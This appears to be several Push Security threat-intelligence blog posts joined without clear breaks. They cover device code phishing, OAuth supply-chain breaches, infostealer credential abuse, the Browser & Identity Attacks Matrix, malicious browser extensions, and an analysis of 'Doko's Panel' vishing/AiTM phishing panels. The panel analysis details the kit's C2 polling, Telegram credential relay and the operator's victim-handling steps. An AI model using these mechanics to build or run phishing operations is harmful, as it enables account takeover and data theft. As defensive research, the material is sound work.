This is what makes device code phishing structurally different from AiTM: it defeats all MFA (including passkeys) because the attack doesn’t target the login, but the authorization layer instead.

Device code phishing has been rapidly commoditized. What began with Storm-2372's nation-state campaigns in August 2024 has since proliferated through criminal kits like EvilTokens and Venom — which reuses Sneaky2FA's AiTM infrastructure while adding device code phishing options — and more recently through Tycoon2FA, which has adopted device code phishing capabilities alongside its established AiTM functionality. Push now tracks 12+ distinct device code phishing kits in the wild and has measured a 37.5x increase in device code phishing activity since the start of 2026.

Vector 3: OAuth supply chain attacks through compromised integrators

The third vector does not require the attacker to phish the victim organization's employees at all. Instead, it exploits the OAuth trust relationships that organizations create when they connect third-party SaaS vendors into their environments — and the consequence is that every organization that authorized one of these integrations effectively extended its security boundary to include the vendor's own security posture.

The Salesloft/Drift supply chain attack demonstrated this at scale in 2025: in an extension of the previously mentioned device code phishing campaign, the attacker compromised Salesloft's GitHub environment, used TruffleHog to find secrets, stole Drift OAuth tokens, and used them to access downstream Salesforce environments. The same pattern was later repeated at Gainsight.

Along with the previously mentioned device code phishing attacks,  more than 1000 organizations were breached. The attackers then harvested AWS keys, Snowflake credentials, and stored passwords from breached Salesforce instances, compounding the access into progressively wider reach.

The same structural pattern has continued into 2026 with the Anodot supply chain compromise, which has produced confirmed breaches at Vimeo (119,000 users), Rockstar Games (78.6 million records), and Zara/Inditex (197,000 people), with further downstream victims likely still emerging. The Vercel breach, which involved compromised OAuth tokens from Context.ai cascading into Google Workspace, also reinforces the same attack pattern (though it was likely not a ShinyHunters operation despite being claimed by someone pretending to be them).

A forgotten SaaS integration can easily become the pivot point for downstream compromise. The moment you authorize a third-party integration, your security boundary extends to include that vendor. If the third-party is compromised, every downstream customer organization with an active integration is exposed.

The infostealer credential playbook sits alongside these attacks

Alongside the three vectors above, ShinyHunters has a track record of exploiting the infostealer credential economy at scale — and it predates any of them. The 2024 Snowflake campaign — 165+ customer environments compromised, over a billion records stolen from AT&T, Ticketmaster, Santander, and Advance Auto Parts among others — was built entirely on infostealer-harvested credentials replayed against MFA-less tenants, with Mandiant's investigation finding that 80% of compromised accounts had prior breach exposure in datasets dating back to 2020. The credentials were already circulating in criminal marketplaces; ShinyHunters simply purchased and operationalized them at industrial scale.

The same methodology powered the HellCat Jira campaign through 2024–2025, and has now been industrialized as a standalone operation by CoinbaseCartel, another criminal group reported to be an offshoot of SLH. CoinbaseCartel's model is familiar: purchase old infostealer credentials, use them to access cloud and development environments, exfiltrate data, and demand ransom. Hudson Rock's analysis of the group's 170+ claimed victims confirms that roughly 80% had prior infostealer infections predating the attacks. The most recent named victim is Grafana, where a GitHub token compromised via the TanStack npm supply chain attack and missed during credential rotation was used to download the codebase and attempt extortion.

These attacks all happen in the browser

Every one of these attack chains is a browser-based attack that either occurs in the browser (AiTM phishing, device code phishing) or could have been prevented at the browser layer (OAuth consent governance). The techniques are interchangeable — the same criminal kits now offer AiTM and device code phishing side by side, and the same threat actor (ShinyHunters) has used all three vectors across different campaigns within the same twelve-month period.

Additionally, infostealer infections themselves are increasingly delivered through browser-based methods like ClickFix, closing the loop between the credential supply side and the browser-layer detection point.

How Push can help

Push operates at the exact point in each of these attack chains where automated intervention can still prevent the compromise.

For vishing + AiTM attacks, Push's behavioral phishing detection analyzes and blocks the phishing page in real time by detecting it from the user's browser — regardless of the domains used, hosting infrastructure, or where the URL was delivered.

For device code phishing, Push detects the phishing pages associated with device code phishing kits — including generic, technique-class detections that catch new kits without requiring kit-specific signatures. Second, Push provides an additional layer of protection on the legitimate device code authentication pages themselves, preventing users from entering attacker-supplied codes into them. Together, these detections cover both the kit-operated phishing infrastructure and the legitimate auth pages that the attack flow depends on.

For OAuth supply chain attacks, Push's detects and controls OAuth consent flows at the browser layer — capturing which application is requesting access, what scopes it's requesting, and whether the grant should be permitted under organizational policy. Push customers can also block OAuth connection requests as they transit the browser, enabling security teams to stop unwanted integrations being added in the first place.

For the infostealer credential playbook, Push's stolen credential detection identifies when employees are using credentials that have appeared in breach datasets or dark web feeds — catching the moment a dormant infostealer credential surfaces at a browser-based login, as well as surfacing insecure login methods missing mitigating controls like MFA and enforcing them through in-browser guardrails. And on the supply side, Push's ClickFix detection addresses the browser-based delivery vector that is now the primary method for distributing infostealer malware in the first place.

Learn more about how you can use Push controls to protect your users from in-browser threats here.

Closing thoughts

The campaigns documented in this post are not historical — they are ongoing, with new victims surfacing weekly and the underlying criminal infrastructure still actively developing. But the defensive strategy does not require anticipating which specific group, vector, or target sector comes next, because all of them converge on the same control point: the browser, where the attack begins or the integration decision is made. Organizations with browser-layer detection and OAuth governance in place have defense-in-depth against the full range of techniques these groups employ, regardless of which specific vector any given campaign uses.

Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser — high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required.

Security teams use Push to detect and stop advanced browser-based attacks like AiTM phishing, ClickFix, and session hijacking; gain visibility and control over AI tool usage across their workforce; harden identities by surfacing credential reuse, SSO gaps, and shadow IT; and support data loss and insider investigations with browser-layer telemetry that other tools can't see.

Book a live demo to learn more.

Appendix: named ShinyHunters victims since May 2025

To give an indication of the scale, the following table documents all publicly named victims attributed to ShinyHunters specifically since the Salesforce campaign began in May 2025. It is not exhaustive: ShinyHunters has claimed over 1,000 organizations in aggregate across its Salesforce campaigns alone, and many victims have not been publicly named. This list also doesn’t include the billion-plus records compromised in the 2024 Snowflake breaches. The major ransomware attacks executed against M&S, Co-op, and Jaguar Land Rover claimed by the Scattered Lapsus$ Hunters "brand" also aren't listed below.

A year later, we reviewed what had changed and found that the initial access phase — the techniques designed to compromise an identity in the first place — was where almost all of the attacker innovation was concentrated. And two years on, that trend has become the story of the modern threat landscape. 

Today, we're re-releasing the matrix as the Browser & Identity Attacks Matrix. The name change isn't cosmetic. It reflects that the attacks driving the most consequential breaches are browser-based and identity-first.

Why the scope needed to change

The original SaaS attack matrix was built around a specific insight: that attacks targeting modern business applications played out entirely over the internet, without touching endpoints or internal networks in any way that EDR or network detection tools would recognize.

That framing was useful, and it remains true. But it anchored the matrix to the post-access phase — what attackers do once they're inside a SaaS application — and didn't give enough weight to the initial access techniques that determine whether attackers get there in the first place.

The problem is that initial access is where the overwhelming majority of attacker innovation and investment is concentrated, and the techniques being used to achieve it are best understood as browser and identity attacks rather than SaaS-specific ones. AiTM phishing, ClickFix and its growing family of clipboard-injection variants, device code phishing, OAuth consent abuse, credential stuffing powered by infostealer supply chains, malicious browser extensions all happen in or via the browser.

Another issue is that "SaaS" has arguably ceased to be a meaningful category. When we consider that most organizations run the majority of their business on cloud applications, the difference between what constitutes "SaaS" versus cloud versus just "business IT" is pretty blurry (and feels like an academic rather than practical difference).

So it's less about whether an attack is a "SaaS attack" and more about how these attacks actually play out. 

The technique landscape has transformed

The second part to the change is the fact that scale and speed of attacker innovation in the space justifies it.

When we launched the matrix in mid-2023, AiTM phishing was emerging as a serious concern but was far from ubiquitous. ClickFix didn't exist as a named technique. Device code phishing was a curiosity documented by a handful of researchers. ConsentFix was years away from being discovered. Browser extension supply chain attacks were rare enough to be individually notable.

In the two and a half years since, every one of these has become a mainstream, industrialized attack technique — and several have converged in ways that would have been hard to predict.

AiTM phishing has become the default phishing method

AiTM phishing is now the standard, powered by Phishing-as-a-Service kits that operate with the release cycles and customer support of legitimate SaaS products. Tycoon 2FA alone accounted for 62% of phishing detected by Microsoft and over 64,000 confirmed incidents, with Sneaky2FA, FlowerStorm, Evilginx, and a growing roster of competitors filling out the marketplace.

AiTM is constantly evolving, with vendors adding new features, capabilities, detection evasion techniques, and so on. Abuse of legitimate platforms, and increasingly AI-assisted development means that it’s trivial for attackers to spin up and tear down infrastructure, scale their campaigns, target specific organizations with crafted pages and lures, and generally means that attackers can operate highly sophisticated attacks with minimal effort and complexity. This makes AiTM and other PhaaS-powered techniques extremely accessible to all kinds of criminals.  

These kits are delivered across several browser-based channels — not just email. Push data consistently shows that roughly 1 in 3 phishing payloads we intercept arrive via social media, search ads, messaging apps, or other non-email vectors.

Vishing has also surged as a delivery channel — CrowdStrike documented a 442% year-over-year increase, and Mandiant found it was the single most common initial vector in cloud compromises at 23%. But the trend that matters isn't voice calls in isolation; it's voice calls combined with browser-based payloads, where a live operator guides the victim into an AiTM page or device code flow that the call alone could not execute.

ClickFix is the top reported initial access vector

ClickFix has gone from nonexistent to one of the most prevalent initial access techniques in under 18 months. Microsoft reported it as the most common initial access vector in 2025, accounting for 47% of observed attacks, while CrowdStrike documented a 563% increase in fake CAPTCHA lures (a top ClickFix style).

ClickFix is admittedly an outlier in a browser attacks matrix — the payload ultimately executes on the endpoint, not in the browser — but the delivery is overwhelmingly browser-based: 4 in 5 ClickFix payloads intercepted by Push arrive via search engines as a result of malvertising or compromised web pages, not email, which means the browser is the only control point that actually sees the attack before the user pastes the malicious command.

ClickFix is now the primary delivery mechanism for infostealer malware, which is in turn the primary source of the stolen credentials and session tokens that power credential stuffing and session hijacking — which means the technique sits at the start of a cycle where one class of browser-delivered attack generates the raw material for the next.

The success of ClickFix has predictably spawned a growing family of derivatives — FileFix, CrashFix, InstallFix — and much of the naming is marketing hype around variations on the same clipboard-injection mechanic. But ConsentFix was a genuinely novel development.

Browser-native ClickFix: ConsentFix

ConsentFix is a fully browser-native attack that merged ClickFix-style social engineering with OAuth consent abuse, compromising accounts through a legitimate Microsoft authorization flow with no endpoint component at all. ConsentFix was traced to APT29 and has since been commercialized on criminal forums, following the same path from state-sponsored technique to commodity criminal tooling that we've seen repeatedly in this space.

ConsentFix demonstrates that the clipboard-injection mechanic can evolve into something that operates entirely within the browser, eliminating the endpoint detection surface that traditional ClickFix still exposed.

Attackers have pivoted to authorization attacks to get around login controls

Authorization attacks like device code phishing have seen a 37.5x increase since the start of 2026, with at least 12 distinct kits now offering the technique. It bypasses standard authentication controls — including passkeys — because the attack occurs through the OAuth device authorization flow rather than the standard login flow. 

The technique was first associated with nation-state actors like Storm-2372, but went from espionage-grade to commodity PhaaS tooling in roughly eighteen months, with kits like EvilTokens and Venom now offering turnkey device code phishing as a service.

The device code authorization is effectively performed post-authentication. If you already have an active session in your browser, entering the device code and selecting your account from a drop-down menu is all that's needed. No password or MFA required. You can see an example in the video below.

And the ecosystem is adapting to this opportunity: established AiTM vendors like Tycoon are adding authorization-focused options alongside their existing credential-harvesting capabilities, which points toward multi-technique platforms where operators pick the right tool for whatever defenses the target has in place.

Malicious and hacked browser extensions are one of the fastest growing threats

Malicious browser extensions have matured from an occasional nuisance into a scalable supply chain attack vector. The Cyberhaven compromise in December 2024 — where approximately 35 extensions were weaponized through a single OAuth phishing campaign targeting developers — impacted 2.6 million users and demonstrated that extension supply chain attacks can achieve the kind of reach that used to require a compromised software update server.

Since Cyberhaven, the pace has only accelerated. In 2026 alone, researchers have publicly disclosed at least 250 confirmed malicious browser extensions affecting roughly 1.75 million users, alongside a further 370+ extensions engaged in undisclosed or policy-disclosed data harvesting affecting an additional 44 million users. That doesn't count the extensions from late-2025 campaigns (DarkSpectre, AITOPIA, Trust Wallet) whose impacts carried into 2026.

The attack paths have also expanded. Beyond phishing developers for take over Web Store accounts (the Cyberhaven playbook), attackers are buying existing extensions from developers, waiting for ownership transfers or abandonments to take over, and increasingly vibe-coding their own functional extensions from scratch to build an audience that can later be weaponized. The common thread is that most malicious extensions didn't start out malicious — they started as legitimate tools and were turned into weapons after the fact.

None of this is happening in isolation. The threat landscape has reoriented around browser-based initial access and identity compromise — and the matrix needed to catch up.

The evolution is playing out in public breaches

It’s worth reinforcing that when the SaaS matrix was first released, many of these attacks hadn’t been seen in the wild. The change today is staggering:

• When Scattered Lapsus$ Hunters compromised over a thousand organizations' Salesforce tenants through device code phishing, the attack started with a phone call, moved through a browser-based authorization flow for the attacker’s app, and ended with mass data exfiltration via API.

• When the same collective launched AiTM phishing campaigns targeting Okta and Entra SSO, the phishing page was operated by a human in real time and delivered over a voice call — not email.

• When APT29 deployed ConsentFix across dozens of compromised websites, the entire attack chain was browser-native, abusing a legitimate Microsoft OAuth flow to bypass MFA without proxying a single credential.

• The Snowflake breach — arguably the most consequential credential-based campaign of the past several years — saw 165 organizations breached using credentials that had been sitting in infostealer dumps for years, replayed against Snowflake tenants that lacked mandatory MFA. The attack surface wasn't Snowflake's application logic; it was the identity hygiene gap that every organization carries across hundreds of apps.

And that’s just the big picture. Every month we’re tracking new public breaches involving browser and identity TTPs — which again, are just the tip of the iceberg when you consider that many breaches are settled quietly without hitting the headlines. 

One of the key drivers here is the shrinking time-to-exploit. CrowdStrike's average e-crime breakout time is down to 29 minutes, with the fastest recorded at 27 seconds. When attackers can move from initial access to data exfiltration within minutes, the window for post-compromise detection collapses to near zero. The best chance of stopping the attack is at the point of initial access before the identity is compromised.

Sidenote: why we're looking at attacks in the browser, not on the browser

Calling this a "browser attacks" matrix needs clarification. We're not talking about browser exploits — RCE vulnerabilities, sandbox escapes, memory corruption bugs. Those attacks target the browser itself, they're extraordinarily expensive to develop, and they're increasingly rare. Browser zero-days hit a historic low of 9% of all zero-days reported to Google, and a Chrome RCE commands a $250,000 bug bounty.

In comparison, a one-year phishing kit rental costs $1,000. A bulk stolen credential list costs $15. An initial-access-broker-provided IdP admin account costs $3,000. When it costs orders of magnitude less to exploit the person using the browser than to exploit the browser itself, attackers will take the cheaper option every time.

It's worth heading off the obvious counterargument: won't AI-assisted vulnerability discovery eventually make browser exploits cheaper? Perhaps — but it will simultaneously make them easier for browser vendors to find and patch, and vendors like Google and Microsoft have the engineering capacity and financial incentive to scale AI-driven remediation far faster than attackers can scale exploit development.

What hasn't changed

The matrix remains open-source, community-maintained, and available on GitHub. The goal is the same as it was in 2023: to give offensive and defensive security teams a shared reference point for the techniques that matter most.

We built it because there was a gap in how the industry talked about these techniques, and that gap still exists — MITRE ATT&CK remains essential for endpoint and network TTPs, but the browser-based, identity-first techniques behind most modern breaches are still underrepresented in traditional frameworks.

We continue to maintain the matrix with input from red teams, detection engineers, and threat researchers across the community. Some of the most valuable additions over the past two years have come from practitioners who encountered a technique on an engagement or in an investigation and contributed it back to the repository.

If you're an offensive security professional using these techniques on engagements, or a defender building detections against them, we want to hear from you. Submit a PR, open a discussion, or flag a technique we've missed on GitHub.

Looking ahead

The pace of attacker innovation in browser-based initial access techniques over the past 18 months has been unlike anything we've tracked before — technique after technique moving from research curiosity to industrialized criminal tooling within months, not years.

• AiTM platforms are adding authorization-based attack options alongside their credential-harvesting capabilities.

• ClickFix has spawned fully browser-native variants.

• AI is lowering the cost of producing convincing social engineering and phishing infrastructure at scale.

We don't see any of this slowing down, and that's exactly why thinking about these attacks as a browser problem instead of siloing them across email, endpoint, network, and cloud categories, each with a partial view of the picture (and still missing the whole when combined).

The Browser & Identity Attacks Matrix is our contribution to keeping that shared understanding current. You can explore the matrix here.

You can also read our recent browser attack techniques report for more information.

Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser — high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required. Security teams use Push to detect and stop advanced browser-based attacks like AiTM phishing, ClickFix, and session hijacking; gain visibility and control over AI tool usage across their workforce; harden identities by surfacing credential reuse, SSO gaps, and shadow IT; and support data loss and insider investigations with browser-layer telemetry that other tools can't see.

Book a live demo to learn more.

Real-time operated phishing panels have been used extensively in recent months, in vishing + phishing attacks attributed to first ShinyHunters, and more recently the BlackFile hacking group, with a significant overlap in techniques and tooling.

We’ve directly accessed active deployments of the operator panels driving these campaigns, observed what happens in real-time when a victim is targeted, and analyzed multiple variants and forks of the tooling. 

We identified four primary infrastructure clusters, with each deployment having its own panel implementation. While the panels share common heritage, the operators deploying them appear to be separate groups with different infrastructure preferences and operational patterns.

The existence of these independently branded forks indicates that the tooling has entered a phase of wider distribution — operators who obtained the original panel source are now customizing and reshipping it for their own purposes. As a result, the tooling is now most likely accessible to a broad population of financially motivated threat actors. In total, we’ve identified over 400 domains linked to the attacks, giving an indication of the scale. 

It’s easier than ever for attackers to spin up and tear down their phishing infrastructure by abusing a range of legitimate services. This is why we’re focused on detecting the actual malicious page at the end of the chain, regardless of the hosting, infrastructure, or delivery vector.

This is extra useful in this case when we consider that a phone call is the delivery vector — not something that typically email-based phishing controls would be able to intercept.

Background

Since at least August 2025, attackers have been running hybrid social engineering campaigns targeting hundreds of organizations across financial services, technology, cryptocurrency, healthcare, hospitality, and private aviation. 

• August 2025: Tooling made available, used in crypto-focused attacks

• November 2025: Major attacks on enterprise identity platforms begin

• January 2026: Public breaches reported

• March 2026: Activity spikes again

The attacks combine voice phishing with MFA-bypassing adversary-in-the-middle (AiTM) phishing mechanisms that allow the attacker to steal authenticated sessions for target applications — typically enterprise identity providers and cryptocurrency exchanges. Once an identity provider account is compromised, the attackers pivot across connected SaaS platforms — SharePoint, Salesforce, DocuSign, Slack — exfiltrates data, and attempts to extort the victim organization. 

Resulting breaches have already been publicly confirmed at SoundCloud (30 million records), Match Group (Hinge, OkCupid, and Match.com — over 10 million records), Betterment (20 million records), and Crunchbase, among others — all linked to ShinyHunters-branded extortion demands. The group also claimed breaches at Bumble, CarMax, Panera Bread, Harvard, the University of Pennsylvania and others in the same period, using data stolen in the Salesforce breaches in 2025 to identify victims and make the social engineering more convincing.

Inside the panels: what Push found

Push detected an active Okta phishing site with TTPs aligned to the tooling used by SLH and affiliated groups. Through analysis of the phishing infrastructure, we gained direct access to Doko’s Panel and variants, and were able to observe how these attacks unfold from the operator's perspective — including real victim submission logs from the current week confirming ongoing active operations.

Doko’s Panel, which takes its name from the Telegram alias of its developer, was linked to ShinyHunters attacks earlier this year. The same persona behind Doko's Panel has been observed actively recruiting "experienced callers" via Telegram, specifying requirements including fluent English with no accent, and advertising six-to-seven-figure weekly returns — evidence of the professionalized vishing-as-a-service model that complements the phishing kit ecosystem.

How the attack works

The general sequence of steps is the same across the panels:

• The operator calls the target spoofing the organization's IT helpdesk number, often referencing real employee names or internal ticket numbers to establish trust. The target is directed to a phishing domain — usually following a combosquatting pattern like my<target>internal[.]com or <target>sso[.]com — under the pretext of a mandatory security update, passkey enrollment, or support ticket resolution. 

• The victim lands on the phishing domain and is presented with a loading spinner — the anti-bot gate that prevents unauthorized access to the phishing pages.

• The operator accepts the visitor from the admin panel and the victim is redirected to the cloned login page (e.g. Google, Microsoft, Okta).

• The victim enters their email address and password, which is forwarded to the operator's Telegram channel. The victim sees a processing spinner on the branded login form.

• The operator relays the credentials to the real identity provider. If they're valid, the attack proceeds. If they're invalid, the operator can redirect the victim back to the credential entry pages. Assuming MFA is required, the operator issues a redirect to an appropriate MFA capture page — "Submit SMS OTP," "Submit Gauth OTP," or "Approve [XX] Prompt," depending on what the legitimate IdP is presenting.

• The victim submits their OTP or approves the push notification and the operator relays the OTP in their own login session, completes authentication, and captures the session. 

• The victim is redirected to a benign page (e.g., Google Drive) or to a support ticket closure screen displaying a fabricated ticket number.

Functionally, this is the same as a typical AITM attack — except that the stages are performed manually by the attacker instead of automatically proxying the victim’s inputs to the real site. 

This seems like an odd choice. On one hand, this is a very sophisticated version of a voice phishing attack. But on the other, it’s not taking advantage of some of the standard capabilities that common AITM kits have. This more manual approach is something that Scattered Spider were known for during the 0ktapus days. But it doesn’t make much difference to the outcome, or what we can observe to detect the attack in the browser.

Doko’s Panel

Let’s take a closer look at the panels themselves. We'll start with the default version of Doko's Panel since it’s the most established. It provides a multi-functional framework targeting users of Google, Microsoft Entra, Okta, and popular cryptocurrency exchanges including Abra, Coinbase, Gemini, and Kraken. Its core functionality resides in a client-side JavaScript file (client.js) that establishes the real-time feedback loop between the victim's browser and the operator's C2.

The technical indicators that characterize Doko's Panel in its standard form include:

• client.js containing a pingServer() function that sends a JSON POST request to /backend.php every second with the structure { action: 'ping', token, window_id, page, os, browser }. If the response contains a redirect key, the victim's browser navigates to that path. 

• sendTelegramMessage() (aliased to sendtg()), a function for relaying real-time credential submissions and session updates to the operator's Telegram channel.

• backend.php as the primary server-side handler for both victim ping actions and admin panel operations (retrieving connected victim information, sending redirect instructions).

• j.php as the endpoint for sending Telegram messages, relaying captured credentials and session logs.

Push found that deployments of Doko's Panel had minimal security by default — anyone was able to view the admin panel and manage visitors' connections without authentication.

Panel proliferation and remixes

Access to Doko's Panel has clearly proliferated beyond its original developers, resulting in remixes and variants being distributed across the ecosystem. Push identified a variant titled "Lord Mensius's Panel" targeting Koinly (a cryptocurrency tax platform), and another titled "$$$" using a template impersonating the Australian Tax Office, also targeting cryptocurrency tax filing. 

The existence of these independently branded forks indicates that the tooling has entered a phase of wider distribution — operators who obtained the original panel source are now customizing and reshipping it for their own purposes. As a result, the tooling is now accessible to a broad population of financially motivated threat actors. 

heartbeat/check_redirect variant

In addition to Doko’s Panel and its forks, the site initially detected by Push used a modified variant of Doko's Panel with a different C2 protocol. Rather than the standard ping action, this variant sent two types of regular requests from client.js to the backend:

• Heartbeat — POST to backend.php with action=heartbeat along with page, token, and window_id.

• Check Redirect — GET to backend.php with parameters action=check_redirect along with token and window_id.

A redirect instruction in response to either request causes the victim's browser to navigate to the specified page. The variant compounds this with a separate inline script embedded in the landing gate HTML — in addition to client.js — that schedules its own sendHeartbeat() and checkRedirect() functions on regular intervals. 

The result is that the victim's browser sends two pairs of duplicate requests every few seconds (with the inline script transmitting heartbeats in JSON format rather than HTML form-encoded data). This level of broken duplication indicates an inexperienced developer making modifications to unfamiliar code — a pattern reinforced by the LLM-generated artifacts discussed later.

Additional technical differentiators for this variant include:

• UUID generation using Math.random() to replace x in the template xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx, rather than the original Doko's Panel method of constructing a template from [1e7]+-1e3+-4e3+-8e3+-1e11 and replacing [018].

• No central Telegram sending function, though j.php still exists and is called from inline scripts on individual phishing pages.

• No use of FNV-1a to hash-generate the window ID.

Push also found sub-variants hosting Okta phishing pages with additional modifications: a minified client.js script, and a renamed backend endpoint (api_FyekIDWY.php replacing backend.php).

Revamped admin panel

Push also found examples of a significantly revamped admin panel, including a version from April 2026 specifically targeting Microsoft as an enterprise identity provider. 

This panel featured a more sophisticated operator interface with an updated look, quick action buttons, and sound notifications.

In addition to the standard compromise flow for acquiring email, password, and OTP, this panel provided operator actions for sending Microsoft Teams call instructions to the victim — a Meeting ID and Passcode rendered on a branded page. This capability likely enables further interaction through a channel that supports screensharing, extending the attacker's reach beyond credential theft into live session manipulation. It also has the potential to make the scenario more believable for the victim.

Other capabilities were referenced in the panel's source code but did not appear active in the observed deployment:

• Additional MFA approval pages for Duo and Okta, with the operator providing a code to display to the victim.

• A code execution prompt to instruct the victim to run a command — the placeholder example being mshta to execute a remote HTA file, suggesting a potential bridge from identity compromise into malware delivery.

The admin panel also included settings for restricting access to specific geographic locations and device types, allowing operators to refine their campaign targeting and also avoid detection from unusual devices (often an indicator that the visitor is not a real human and is actually a security tool or bot).

LLM-generated tells: vibe-coded phishing infrastructure

Evidence of extensive LLM use is extremely prevalent in attacks detected by Push, from LLM-generated phishing kits and tools to vibe-coded cloned pages. Attackers have also been observed leveraging AI–assisted capabilities in SaaS platforms to automate and scale-up their campaigns from an infrastructure and operations perspective. 

The ‘heartbeat’ variant in particular has significant tells of heavy use of LLMs to modify the phishing panel for the operator’s needs. The fact that these are so blatant increases the belief that these tools are being vibe-coded by relatively inexperienced developers with limited regard for operational security.

Some versions of client.js begin with verbose header comments that no human developer would write:

The "NOTES FOR NEXT SESSION" header is particularly telling — it's a pattern generated by LLMs that maintain context between chat sessions, not a convention any human developer would adopt in production code, let alone in a phishing kit where operational security should discourage self-documenting infrastructure.

The admin panel HTML contains similarly over-documented opening comments:

One of the Okta cloned login pages observed by Push contained the following comments suggesting the use of an LLM to create the clone:

The cloned Microsoft login pages displayed previously contain terser comments, but still typical of useless comments that are included by an LLM rather than a human author, especially a malware/phishing author:

The broken duplication in the heartbeat variant — where an inline script and client.js independently schedule the same backend requests using slightly different data formats — is consistent with an operator pasting requirements into an LLM and accepting the output without understanding the existing codebase well enough to recognize the redundancy.

Clearly, the barrier to entry for building (or forking) and operating a real-time vishing phishing panel is lower than the effectiveness of the tooling might suggest.

Infrastructure clustering and attribution

Through analysis of phishing domains, hosting infrastructure, and technical indicators in the panel source code, we’re highlighting four distinct infrastructure clusters associated with this tooling. While the panels share common heritage, the operators deploying them appear to be separate groups with different infrastructure preferences and operational patterns.

Cluster A

The indicators for Cluster A overlap with Mandiant’s reporting on UNC6661. Mandiant also attributes the extortion activity following UNC6661 intrusions to UNC6240, aka ShinyHunters.

Cluster B

The indicators for Cluster B overlap with Mandiant’s reporting on UNC6671. Other external reporting has linked this group to BlackFile-branded extortion and leaks.

Cluster C

Cluster C is likely an evolution of Cluster B. Some evidence has been observed tying the backend hosting to Njalla behind the Cloudflare CDN further solidifying the link. The shift to Cloudflare Turnstile protection and subdomain-based targeting represents an operational refinement — moving away from the distinctive [target]internal[.]com pattern that had become a well-known campaign indicator.

Cluster D

Detection considerations

For Push, the detection approach to these panels is fundamentally the same as for any other phishing kit — behavioral analysis of the rendered page in the browser, regardless of the C2 protocol running underneath. 

The main operational difference is on the operator end, where the human-in-the-loop interaction replaces fully automated credential harvesting. This has implications for defenders relying on proactive infrastructure scanning: the gated landing pages, anti-bot checks, and operator-approval requirements mean the malicious content is only served to active targets, making it significantly harder for automated scanners to discover and flag these domains before they're used against a victim.

The phone call as delivery vector eliminates the email-based detection surface that most organizations rely on as their primary phishing defense. Operator-gated payload delivery further reduces the likelihood that these sites will be flagged as malicious and added to known-bad detection lists (and in any case, it’s trivial for attackers to spin up new ones). This reinforces the need for browser-based detection at the point the user interacts with the page, analyzing it in real time for malicious content without relying on static IoCs.

Indicators of compromise

Short-lived IoCs are of limited value when tackling modern phishing attacks due to the rate at which attackers are able to quickly spin up and rotate the sites used in the attack chain, often dynamically serving different URLs to site visitors.

The full list of IoCs is on VirusTotal here.

Push customers do not need to take any further action.

Learn more about Push

Push Security is the most powerful AI-native security tool in the browser. Think EDR, but for the browser — high-fidelity telemetry and real-time control across every session, on every device, with no browser migration required. Security teams use Push to detect and stop advanced browser-based attacks like AiTM phishing, ClickFix, and session hijacking; gain visibility and control over AI tool usage across their workforce; harden identities by surfacing credential reuse, SSO gaps, and shadow IT; and support data loss and insider investigations with browser-layer telemetry that other tools can't see. Book a live demo to learn more.

If your strategy is "remove the highest-risk extensions," you're optimizing for the wrong question. The more effective approach is to implement an allowlist, block the rest, and monitor the approved set for the changes — like ownership transfers and permission escalations — that actually precede real-world attacks. 

Browser extensions have become one of the most talked-about attack surfaces in security over the past 18 months, and understandably so — a string of high-profile supply chain compromises have collectively impacted tens of millions of users since late 2024 (Cyberhaven, DarkSpectre, Trust Wallet, among many others). 

But as the industry scrambles to respond, there's a tendency to treat browser extension management as an entirely new paradigm that requires a new approach, particularly risk scoring systems that attempt to rate each extension on a spectrum from safe to dangerous.

We think this framing misses the point, and that it's leading security teams toward a strategy that won't protect them from the attacks that actually cause damage.

The practical problem: "just remove the high-risk ones" doesn't work

The strategy we see most often is some version of "identify and remove the highest-risk extensions." On the surface this seems reasonable — you can't address everything, so you prioritize. The problem is that it doesn't materially reduce your exposure to the attacks that are actually happening.

Browser extension attacks almost always follow one of two patterns: 

• A legitimate developer is compromised through consent phishing, session theft, or AiTM phishing, and a malicious update is pushed to the existing user base. Cyberhaven is a good example of this — a developer got consent phished with a specific app that granted the attacker access to the extension store.

• An attacker builds or acquires a clean extension, operates it legitimately until it accumulates a sufficient user base, then deploys a malicious update. GitLab's threat intelligence team documented a cluster of 16 extensions impacting 3.2 million users where access had been acquired from original developers rather than via compromise.

This means that real-world extension breaches aren't coming from extensions that looked risky beforehand. If your strategy is "identify and remove the highest-risk extensions," you're optimizing for the wrong thing — because even extensions that score as moderate or low risk by every conventional measure still have the permissions and access needed for a full compromise. If you skim off the top 10% “riskiest” extensions, 90% of the extensions in your environment could still become a breach vector. 

What risk scoring is designed to measure — and why it can’t predict future compromise

Most extension risk scoring systems evaluate some combination of permissions, install count, user ratings, code analysis, developer reputation, and web store trust signals. Nice-to-have data points, but with a common limitation: they describe the extension as it is today, not what it will become after the next update. That makes them poor predictors of the thing that actually causes breaches — a previously-clean extension being weaponized through a supply chain compromise.

It's worth examining why each signal falls short as a predictor specifically of future compromise, because the failure modes are different and well-documented.

Permissions

Permissions are the most meaningful input to a risk score, because they determine what an extension is capable of doing if it turns malicious. An extension with access to cookies, scripting, and broad host permissions can steal session tokens, log keystrokes, and exfiltrate data from any site the user visits. This is the data that actually answers the question "what could this extension do to us if it went bad?"

The problem is that these permissions are extraordinarily common. We analyzed a sample of 20,000 unique extensions deployed across Push customers and found that 46.76% have the permission combinations needed to perform account takeover with no user interaction. 

These figures also understate the real exposure. One of the most straightforward attack techniques involves injecting content scripts into web pages to hook request functions and extract cookies. The user-facing warning Chrome shows for this capability — "Read and change all your data on the websites you visit" — is the same generic string shown for ad blockers, password managers, and translation tools. 

You can't practically remove everything that could be dangerous, because that includes most of the extensions people actually use for work. And if you set the threshold lower to keep the list manageable, you're excluding extensions that have the same permissions and pose the same theoretical risk.

Install counts, ratings, developer reputation, and web store badges

These signals share a common failure mode, so it's worth addressing them together: they all describe the extension's reputation at a point in time, and attackers have both the means and the incentive to ensure that reputation looks clean.

Install count is sometimes used as a proxy for trustworthiness, on the assumption that widely-adopted extensions are more likely to be legitimate. In practice, high install count is often a precondition for the attack rather than a signal against it. 

Attackers who acquire or build extensions are specifically waiting for the install base to grow before weaponizing — what researchers are calling the "sleeper agent" strategy. Install counts can also be easily inflated with bots, meaning that using them as a positive risk signal actively rewards the attackers who are best at gaming the system.

• The DarkSpectre campaign accumulated over 8.8 million compromised browsers across extensions that held "verified" status and healthy install counts throughout a seven-year operational period. 

• The AITOPIA impersonation extensions had over 900,000 combined installs and a Google "Featured" badge. 

